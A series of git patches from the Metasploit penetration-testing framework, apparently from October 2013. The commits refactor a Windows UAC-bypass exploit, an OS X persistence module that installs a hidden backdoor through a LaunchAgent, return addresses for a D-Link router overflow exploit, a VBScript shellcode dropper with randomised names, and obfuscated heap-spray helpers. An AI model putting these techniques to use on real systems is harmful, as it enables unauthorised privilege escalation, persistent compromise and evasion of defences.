"../", "data", "js", "exploitation", "property_spray.js")) + js = js.gsub(/sym_div_container/, Rex::Text.rand_text_alpha(rand(10) + 5)) + + js + end + + def self.heap_spray + ::File.read(::File.join(::File.dirname(__FILE__), "../", "../", "../", "data", "js", "exploitation", "heap_spray.js")) + end + +end +end + +end diff --git a/lib/rex/exploitation/javascriptnetwork.rb b/lib/rex/exploitation/javascriptnetwork.rb new file mode 100644 index 0000000000..66b534a9d0 --- /dev/null +++ b/lib/rex/exploitation/javascriptnetwork.rb @@ -0,0 +1,22 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'rex/exploitation/jsobfu' + +module Rex +module Exploitation + +# +# Provides networking functions in JavaScript +# +class JavascriptNetwork < JSObfu + + def self.ajax_download + ::File.read(::File.join(::File.dirname(__FILE__), "../", "../", "../", "data", "js", "network", "ajax_download.js")) + end + +end +end + +end diff --git a/lib/rex/exploitation/javascriptosdetect.rb b/lib/rex/exploitation/javascriptosdetect.rb index f94b5111c9..4ad95d190a 100644 --- a/lib/rex/exploitation/javascriptosdetect.rb +++ b/lib/rex/exploitation/javascriptosdetect.rb @@ -30,7 +30,7 @@ class JavascriptOSDetect < JSObfu def initialize(custom_js = '', opts = {}) @js = custom_js - @js += ::File.read(::File.join(::File.dirname(__FILE__), "javascriptosdetect.js")) + @js += ::File.read(::File.join(::File.dirname(__FILE__), "../", "../", "../", "data", "js", "detect", "os.js")) super @js From 5a662defac00be93cc1218d42bc04b6bb52a7858 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 17 Oct 2013 23:28:07 +0100 Subject: [PATCH 225/409] Post::Privs uses Post::Registry methods --- lib/msf/core/post/windows/priv.rb | 52 ++++++++++----------- modules/exploits/windows/local/bypassuac.rb | 3 +- 2 files changed, 26 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 50c64083b7..9610a50582 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -1,9 +1,11 @@ # -*- coding: binary -*- require 'msf/core/post/windows/accounts' +require 'msf/core/post/windows/registry' module Msf::Post::Windows::Priv include ::Msf::Post::Windows::Accounts + include Msf::Post::Windows::Registry LowIntegrityLevel = 'S-1-16-4096' MediumIntegrityLevel = 'S-1-16-8192' @@ -29,12 +31,11 @@ module Msf::Post::Windows::Priv # Assume true if the OS doesn't expose this (Windows 2000) session.railgun.shell32.IsUserAnAdmin()["return"] rescue true else - cmd = "cmd.exe /c reg query HKU\\S-1-5-19" - results = session.shell_command_token_win32(cmd) - if results =~ /Error/ - return false - else + local_service_key = registry_enumkeys('HKU\S-1-5-19') + if local_service_key return true + else + return false end end end @@ -67,12 +68,11 @@ module Msf::Post::Windows::Priv return false end else - cmd = "cmd.exe /c reg query HKLM\\SAM\\SAM" - results = session.shell_command_token_win32(cmd) - if results =~ /Error/ - return false - else + results = registry_enumkeys('HKLM\SAM\SAM') + if results return true + else + return false end end end @@ -90,15 +90,13 @@ module Msf::Post::Windows::Priv if winversion =~ /Windows (Vista|7|8|2008)/ unless is_system? begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) - - if key.query_value('EnableLUA').data == 1 - uac = true - end - - key.close - rescue::Exception => e - print_error("Error Checking UAC: #{e.class} #{e}") + enable_lua = registry_getvaldata( + 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + 'EnableLUA' + ) + uac = (enable_lua == 1) + rescue Rex::Post::Meterpreter::RequestError => e + print_error("Error Checking if UAC is Enabled: #{e.class} #{e}") end end end @@ -108,21 +106,21 @@ module Msf::Post::Windows::Priv # # Returns the UAC Level # + # @see http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx # 2 - Always Notify, 5 - Default, 0 - Disabled # def get_uac_level begin - open_key = session.sys.registry.open_key( - HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', - KEY_READ + uac_level = registry_getvaldata( + 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + 'ConsentPromptBehaviorAdmin' ) - uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') rescue Rex::Post::Meterpreter::RequestError => e - print_error("Error Checking UAC: #{e.class} #{e}") + print_error("Error Checking UAC Level: #{e.class} #{e}") end - + if uac_level - return uac_level.data + return uac_level else return nil end @@ -154,7 +152,7 @@ module Msf::Post::Windows::Priv # Returns nil if Windows whoami is not available # def get_whoami - whoami = cmd_exec('cmd /c whoami /groups') + whoami = cmd_exec('cmd.exe /c whoami /groups') if whoami.nil? or whoami.empty? return nil diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 88d233ed55..f4cba80c59 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -12,7 +12,6 @@ class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE - include Post::Common include Post::File include Post::Windows::Priv @@ -44,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Local def exploit - fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? + fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system? # # Verify use against Vista+ From 55426882d4d75229ae6429088066e18c2ae61620 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 18 Oct 2013 00:08:06 +0100 Subject: [PATCH 226/409] Further bypassuac tidyup --- modules/exploits/windows/local/bypassuac.rb | 39 +++++++++------------ 1 file changed, 17 insertions(+), 22 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 6e8355c46d..32f912f2ac 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -42,18 +42,15 @@ class Metasploit3 < Msf::Exploit::Local def runas_method payload = generate_payload_exe payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tmpdir = session.fs.file.expand_path("%TEMP%") + tmpdir = expand_path("%TEMP%") tempexe = tmpdir + "\\" + payload_filename - fd = session.fs.file.new(tempexe, "wb") - fd.write(payload) - fd.close - print_status("Uploading payload: #{tmpdir}\\#{payload_filename}") - session.railgun.shell32.ShellExecuteA(nil,"runas","#{tmpdir}\\#{payload_filename}",nil,nil,5) + write_file(tempexe, payload) + print_status("Uploading payload: #{tempexe}") + session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5) print_status("Payload executed") end def exploit - fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system? # @@ -67,9 +64,11 @@ class Metasploit3 < Msf::Exploit::Local if is_uac_enabled? print_status "UAC is Enabled, checking level..." else - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" - ) + if is_in_admin_group? + fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...") + else + fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") + end end case get_uac_level @@ -97,9 +96,7 @@ class Metasploit3 < Msf::Exploit::Local if admin_group print_good('Part of Administrators group! Continuing...') else - print_error('Not in admins group, cannot escalate with this module') - print_error('Exiting...') - return + fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") end end @@ -119,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Local payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" # path to the bypassuac binary - path = ::File.join(Msf::Config.install_root, "data", "post") + path = ::File.join(Msf::Config.data_directory, "post") # decide, x86 or x64 bpexe = nil @@ -129,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Local bpexe = ::File.join(path, "bypassuac-x86.exe") end - tmpdir = session.fs.file.expand_path("%TEMP%") + tmpdir = expand_path("%TEMP%") cmd = "#{tmpdir}\\#{bypass_uac_filename} /c #{tmpdir}\\#{payload_filename}" print_status("Uploading the bypass UAC executable to the filesystem...") @@ -138,15 +135,13 @@ class Metasploit3 < Msf::Exploit::Local # # Upload UAC bypass to the filesystem # - session.fs.file.upload_file("#{tmpdir}\\#{bypass_uac_filename}", bpexe) + upload_file("#{tmpdir}\\#{bypass_uac_filename}", bpexe) print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") # # Upload the payload to the filesystem # tempexe = tmpdir + "\\" + payload_filename - fd = client.fs.file.new(tempexe, "wb") - fd.write(payload) - fd.close + write_file(tempexe, payload) rescue ::Exception => e print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") return @@ -155,12 +150,12 @@ class Metasploit3 < Msf::Exploit::Local print_status("Uploaded the agent to the filesystem....") # execute the payload - session.sys.process.execute(cmd, nil, {'Hidden' => true}) + cmd_exec(cmd) # delete the uac bypass payload - delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" + delete_file = "#{tmpdir}\\#{bypass_uac_filename}" - session.sys.process.execute(delete_file, nil, {'Hidden' => true}) + file_rm(delete_file) end end From a00a813649e2d3604c465dc528663f16610f7a39 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 17 Oct 2013 22:34:54 -0500 Subject: [PATCH 227/409] Add real device libraries base addresses --- modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index 1c441c0b93..ca1b997239 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -47,8 +47,10 @@ class Metasploit3 < Msf::Exploit::Remote [ 'DLink DIR-605L 1.13', { 'Offset' => 94, - 'LibcBase' => 0x4212e000, # QEMU environment - 'ApmibBase' => 0x42095000, # QEMU environment + 'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner + 'ApmibBase' => 0x2aaef000, # According to Original Exploit by Craig Heffner + #'LibcBase' => 0x4212e000, # QEMU environment + #'ApmibBase' => 0x42095000, # QEMU environment #LOAD:000248D4 li $a0, 1 ; set $a0 for the sleep() call #LOAD:000248D8 move $t9, $s1 ; $s1 is controlled after the overflow #LOAD:000248DC jalr $t9 From 7dd39ae5e627d19269691a0d8532b82dbb413cb0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 17 Oct 2013 22:43:47 -0500 Subject: [PATCH 228/409] Update ranking --- modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index ca1b997239..2ae04ed31c 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = ManualRanking # Because only has been tested on a QEMU emulated environment HttpFingerprint = { :pattern => [ /Boa/ ] } From a2e3c6244e05132002e4fae3df207ff85dfe222b Mon Sep 17 00:00:00 2001 From: joev Date: Fri, 18 Oct 2013 00:41:18 -0500 Subject: [PATCH 229/409] Remove unnecessary Exe::Custom logic. - this is handled by the exe.rb mixin. - adds support for a RUN_NOW datastore option. - tested working on java meterpreter and x86 shell session. --- modules/exploits/osx/local/persistence.rb | 72 +++++++++++------------ 1 file changed, 35 insertions(+), 37 deletions(-) diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index d4cb86290c..eea3242742 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Local 'Platform' => [ 'osx' ], 'Targets' => [ [ 'Mac OS X', {} ] ], 'DefaultTarget' => 0, - 'SessionTypes' => [ 'shell' ] + 'SessionTypes' => [ 'shell', 'meterpreter' ] )) register_options([ @@ -40,14 +40,11 @@ class Metasploit3 < Msf::Exploit::Local [true, 'Path to hide the backdoor on the target.', '/Users//Library/./com.system.update'] ), - OptBool.new('KEEPALIVE', + OptBool.new('KEEPALIVE', [true, 'Continually restart the payload exe if it crashes/exits.', true] - ) - ], self.class) - - register_advanced_options([ - OptPath.new('EXE::Custom', - [false, 'Use custom exe instead of automatically generating a payload exe'] + ), + OptBool.new('RUN_NOW', + [false, 'Run the installed payload immediately.', false] ) ], self.class) end @@ -57,40 +54,23 @@ class Metasploit3 < Msf::Exploit::Local write_backdoor(generate_payload_exe) # Add plist file to LaunchAgents dir add_launchctl_item + # invoke the service if necessary + invoke_service if run_now? + # tell the user how to remove the persistence if necessary + list_removal_paths end private - # @return [String] an exe containing our payload - def generate_payload_exe - if datastore.include? 'EXE::Custom' - get_custom_exe - else - super - end - end - - # used when user has specified EXE::Custom datastore advanced option - # @return [String] custom exe file, from path specified in EXE::Custom - def get_custom_exe - custom_path = datastore['EXE::Custom'] - print_status("Using custom payload #{path}, other payload settings will be ignored!") - datastore['DisablePayloadHandler'] = true - File.read(custom_path) - end - # drops the file to disk, then makes it executable # @param [String] exe the executable to drop def write_backdoor(exe) print_status("Dropping backdoor executable...") - cmd_exec("mkdir -p", File.dirname(backdoor_path)) + cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}") if write_file(backdoor_path, exe) print_good("Backdoor stored to #{backdoor_path}") - cmd_exec("chmod +x", backdoor_path) - # TODO: for java/python/php meterpreter payloads, this won't work. - # we could add some logic for dropping jar/py/php, then dropping a - # bash script that invokes java -jar or python or whatever. + cmd_exec("chmod +x #{backdoor_path.shellescape}") else fail_with("Error dropping backdoor to #{backdoor_path}") end @@ -99,12 +79,7 @@ class Metasploit3 < Msf::Exploit::Local # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path def add_launchctl_item label = File.basename(backdoor_path) - plist_file = label + ".plist" - plist_path = "/Users/#{user}/Library/LaunchAgents/" - # just in case... cmd_exec("mkdir -p", plist_path) - # build the plist - plist_path = plist_path + plist_file item = <<-EOI @@ -126,13 +101,29 @@ class Metasploit3 < Msf::Exploit::Local EOI - if write_file(plist_path,item) + if write_file(plist_path, item) print_good("LaunchAgent added: #{plist_path}") else fail_with("Error writing LaunchAgent item to #{plist_path}") end end + # tells launchctl to start the service we dropped + def invoke_service + print_status("Starting the LaunchAgent") + cmd_exec("launchctl unload -w #{plist_path.shellescape}") # in case of previous persistence (unlikely) + cmd_exec("launchctl load -w #{plist_path.shellescape}") + cmd_exec("launchctl start #{File.basename(plist_path)}") + end + + # useful if you want to remove the persistence. + # prints out a list of paths to remove and commands to run. + def list_removal_paths + files = [backdoor_path, plist_path] + run_cmd = "Then log out or run: launchctl unload -w #{plist_path.shellescape}" + print_status("To remove the persistence, delete the files:\n#{files.join("\n")}\n#{run_cmd}") + end + # path to upload the backdoor. any or substrings will be replaced. # @return [String] path to drop the backdoor payload. def backdoor_path @@ -141,7 +132,14 @@ class Metasploit3 < Msf::Exploit::Local .gsub('', user)) end + # path to the LaunchAgent service configuration plist + # @return [String] path to the LaunchAgent service + def plist_path + @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist" + end + def keepalive?; datastore['KEEPALIVE']; end + def run_now?; datastore['RUN_NOW']; end # @return [String] username of the session def user From 7a47059e1d3b384488b277ad4d6f0e7d0fc94ec1 Mon Sep 17 00:00:00 2001 From: joev Date: Fri, 18 Oct 2013 00:47:22 -0500 Subject: [PATCH 230/409] Fix a couple more shellescapes. --- modules/exploits/osx/local/persistence.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index eea3242742..8523038683 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Local # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path def add_launchctl_item label = File.basename(backdoor_path) - cmd_exec("mkdir -p", plist_path) + cmd_exec("mkdir -p #{plist_path.shellescape}") item = <<-EOI @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Starting the LaunchAgent") cmd_exec("launchctl unload -w #{plist_path.shellescape}") # in case of previous persistence (unlikely) cmd_exec("launchctl load -w #{plist_path.shellescape}") - cmd_exec("launchctl start #{File.basename(plist_path)}") + cmd_exec("launchctl start #{File.basename(plist_path).shellescape}") end # useful if you want to remove the persistence. From b0d614bc6af3c6f0b5587c57c00de4407a2d4494 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 18 Oct 2013 01:47:27 -0500 Subject: [PATCH 231/409] Cleaning up requires --- lib/msf/core/exploit/http/server.rb | 14 ++------------ lib/rex/exploitation/javascriptcrypto.rb | 14 ++++++++++++-- lib/rex/exploitation/javascriptexploitation.rb | 13 ++++--------- lib/rex/exploitation/javascriptnetwork.rb | 4 +--- 4 files changed, 19 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index c63c4993bc..fd8f825e7c 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -713,17 +713,7 @@ protected end def js_base64 - js = Rex::Exploitation::JavascriptCrypto.base64 - opts = { - 'Symbols' => { - 'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx - input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 }, - 'Methods' => %w{ _utf8_encode _utf8_decode encode decode } - } - } - js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) - - return js + Rex::Exploitation::JavascriptCrypto.base64 end @@ -801,7 +791,7 @@ protected # # Example of using the 'sprayHeap' function: # # def js_ajax_download - Rex::Exploitation::JavascriptNetwork.ajax_download + @cache_ajax_download ||= Rex::Exploitation::JavascriptNetwork.ajax_download end @@ -772,7 +780,7 @@ protected # # def js_mstime_malloc - Rex::Exploitation::JavascriptExploitation.mstime_malloc + @cache_mstime_malloc ||= Rex::Exploitation::JavascriptExploitation.mstime_malloc end # @@ -798,26 +806,15 @@ protected # # def js_property_spray - Rex::Exploitation::JavascriptExploitation.property_spray + @cache_property_spray ||= Rex::Exploitation::JavascriptExploitation.property_spray end def js_heap_spray - js = Rex::Exploitation::JavascriptExploitation.heap_spray - - opts = { - 'Symbols' => { - 'Variables' => %w{ shellcode retSlide payLoadSize memory index - heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize - heapBlockCnt }, - 'Methods' => %w{ sprayHeap } - } - } - js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) - return js + @cache_heap_spray ||= Rex::Exploitation::JavascriptExploitation.heap_spray end def js_os_detect - return ::Rex::Exploitation::JavascriptOSDetect.new + @cache_os_detect ||= ::Rex::Exploitation::JavascriptOSDetect.new end # Transmits a html response to the supplied client From 4e4d0488aeb01d6a95b764ad426cb87fa9ed7fa5 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 18 Oct 2013 18:26:07 +0100 Subject: [PATCH 242/409] Rubyfy constants in privs lib --- lib/msf/core/post/windows/priv.rb | 43 +++++++++++---------- modules/exploits/windows/local/bypassuac.rb | 8 ++-- 2 files changed, 26 insertions(+), 25 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 9610a50582..ea0492d29b 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -7,21 +7,24 @@ module Msf::Post::Windows::Priv include ::Msf::Post::Windows::Accounts include Msf::Post::Windows::Registry - LowIntegrityLevel = 'S-1-16-4096' - MediumIntegrityLevel = 'S-1-16-8192' - HighIntegrityLevel = 'S-1-16-12288' - SystemIntegrityLevel = 'S-1-16-16384' + INTEGRITY_LEVEL_SID = { + :low => 'S-1-16-4096', + :medium => 'S-1-16-8192', + :high => 'S-1-16-12288', + :system => 'S-1-16-16384' + } - Administrators = 'S-1-5-32-544' + SYSTEM_SID = 'S-1-5-18' + ADMINISTRATORS_SID = 'S-1-5-32-544' # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx # ConsentPromptBehaviorAdmin - UACNoPrompt = 0 - UACPromptCredsIfSecureDesktop = 1 - UACPromptConsentIfSecureDesktop = 2 - UACPromptCreds = 3 - UACPromptConsent = 4 - UACDefault = 5 + UAC_NO_PROMPT = 0 + UAC_PROMPT_CREDS_IF_SECURE_DESKTOP = 1 + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP = 2 + UAC_PROMPT_CREDS = 3 + UAC_PROMPT_CONSENT = 4 + UAC_DEFAULT = 5 # # Returns true if user is admin and false if not. @@ -49,7 +52,7 @@ module Msf::Post::Windows::Priv if whoami.nil? print_error("Unable to identify admin group membership") return nil - elsif whoami.include? Administrators + elsif whoami.include? ADMINISTRATORS_SID return true else return false @@ -61,7 +64,7 @@ module Msf::Post::Windows::Priv # def is_system? if session_has_ext - local_sys = resolve_sid("S-1-5-18") + local_sys = resolve_sid(SYSTEM_SID) if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}" return true else @@ -135,14 +138,12 @@ module Msf::Post::Windows::Priv if whoami.nil? print_error("Unable to identify integrity level") return nil - elsif whoami.include? LowIntegrityLevel - return LowIntegrityLevel - elsif whoami.include? MediumIntegrityLevel - return MediumIntegrityLevel - elsif whoami.include? HighIntegrityLevel - return HighIntegrityLevel - elsif whoami.include? SystemIntegrityLevel - return SystemIntegrityLevel + else + INTEGRITY_LEVEL_SID.each_pair do |k,sid| + if whoami.include? sid + return sid + end + end end end diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 32f912f2ac..927a29a8a3 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -72,14 +72,14 @@ class Metasploit3 < Msf::Exploit::Local end case get_uac_level - when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Exploit::Failure::NotVulnerable, "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." ) - when UACDefault + when UAC_DEFAULT print_good "UAC is set to Default" print_good "BypassUAC can bypass this setting, continuing..." - when 0 + when UAC_NO_PROMPT print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead" runas_method return @@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Local end end - if get_integrity_level == LowIntegrityLevel + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") end From 56aa9ab01c8e2639df3c14625b0080bbd7d1703e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 18 Oct 2013 18:59:30 +0100 Subject: [PATCH 243/409] Reduce size --- data/templates/scripts/to_exe.vbs.template | 6 ++++-- lib/msf/util/exe.rb | 5 ++--- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/data/templates/scripts/to_exe.vbs.template b/data/templates/scripts/to_exe.vbs.template index 102d2787bb..460a2176d2 100644 --- a/data/templates/scripts/to_exe.vbs.template +++ b/data/templates/scripts/to_exe.vbs.template @@ -1,5 +1,5 @@ Function %{var_func}() -%{var_shellcode} + %{var_shellcode} = "%{var_hex_shellcode}" Dim %{var_obj} Set %{var_obj} = CreateObject("Scripting.FileSystemObject") @@ -12,7 +12,9 @@ Function %{var_func}() %{var_obj}.CreateFolder(%{var_basedir}) %{var_tempexe} = %{var_basedir} & "\" & "svchost.exe" Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false) - %{var_stream}.Write %{var_bytes} + For i = 1 to Len(%{var_shellcode}) Step 2 + %{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2))) + Next %{var_stream}.Close Dim %{var_shell} Set %{var_shell} = CreateObject("Wscript.Shell") diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 43ad61470e..b0064b4ca8 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -824,8 +824,7 @@ def self.to_vba(framework,code,opts={}) persist = opts[:persist] || false hash_sub = {} - hash_sub[:var_shellcode] = "" - hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small + hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -835,7 +834,7 @@ def self.to_vba(framework,code,opts={}) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) + hash_sub[:var_hex_shellcode] = exes.unpack('H*').join('') hash_sub[:init] = "" From 2ef89eaf3527efeb6141ebe93922cb5e5c837003 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 18 Oct 2013 19:01:28 +0100 Subject: [PATCH 244/409] Randomize exe name --- data/templates/scripts/to_exe.vbs.template | 2 +- lib/msf/util/exe.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/data/templates/scripts/to_exe.vbs.template b/data/templates/scripts/to_exe.vbs.template index 460a2176d2..6aa043b20f 100644 --- a/data/templates/scripts/to_exe.vbs.template +++ b/data/templates/scripts/to_exe.vbs.template @@ -10,7 +10,7 @@ Function %{var_func}() Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2) %{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName() %{var_obj}.CreateFolder(%{var_basedir}) - %{var_tempexe} = %{var_basedir} & "\" & "svchost.exe" + %{var_tempexe} = %{var_basedir} & "\" & "%{var_exe}" Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false) For i = 1 to Len(%{var_shellcode}) Step 2 %{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2))) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index b0064b4ca8..b025a64b63 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -825,6 +825,7 @@ def self.to_vba(framework,code,opts={}) hash_sub = {} hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) From 8579cb8322b7dcbb665cfec0f07e09e5f491c499 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 18 Oct 2013 13:06:19 -0500 Subject: [PATCH 245/409] Use obfuscation --- .../exploitation/javascriptexploitation.rb | 25 ++++++++++++++++--- lib/rex/exploitation/javascriptnetwork.rb | 9 ++++++- 2 files changed, 30 insertions(+), 4 deletions(-) diff --git a/lib/rex/exploitation/javascriptexploitation.rb b/lib/rex/exploitation/javascriptexploitation.rb index 7959a31390..473a73a8d6 100644 --- a/lib/rex/exploitation/javascriptexploitation.rb +++ b/lib/rex/exploitation/javascriptexploitation.rb @@ -15,15 +15,34 @@ class JavascriptExploitation js = js.gsub(/W00TA/, Rex::Text.rand_text_hex(6)) js = js.gsub(/W00TB/, Rex::Text.rand_text_hex(5)) - js + ::Rex::Exploitation::ObfuscateJS.new(js, + { + 'Symbols' => { + 'Variables' => %w{ buf eleId acTag } + } + }).obfuscate end def self.property_spray - ::File.read(::File.join(Msf::Config.install_root, "data", "js", "exploitation", "property_spray.js")) + js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "exploitation", "property_spray.js")) + + ::Rex::Exploitation::ObfuscateJS.new(js, + { + 'Symbols' => { + 'Variables' => %w{ sym_div_container data junk obj } + } + }).obfuscate end def self.heap_spray - ::File.read(::File.join(Msf::Config.install_root, "data", "js", "exploitation", "heap_spray.js")) + js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "exploitation", "heap_spray.js")) + + ::Rex::Exploitation::ObfuscateJS.new(js, + { + 'Symbols' => { + 'Variables' => %w{ index heapSprayAddr_hi heapSprayAddr_lo retSlide heapBlockCnt } + } + }).obfuscate end end diff --git a/lib/rex/exploitation/javascriptnetwork.rb b/lib/rex/exploitation/javascriptnetwork.rb index 714e86fcc2..4b9696a449 100644 --- a/lib/rex/exploitation/javascriptnetwork.rb +++ b/lib/rex/exploitation/javascriptnetwork.rb @@ -11,7 +11,14 @@ module Exploitation class JavascriptNetwork def self.ajax_download - ::File.read(::File.join(Msf::Config.install_root, "data", "js", "network", "ajax_download.js")) + js = ::File.read(::File.join(Msf::Config.install_root, "data", "js", "network", "ajax_download.js")) + + ::Rex::Exploitation::ObfuscateJS.new(js, + { + 'Symbols' => { + 'Variables' => %w{ xmlHttp } + } + }).obfuscate end end From f6675f312097ae46eeb76c94515bd028954ddd17 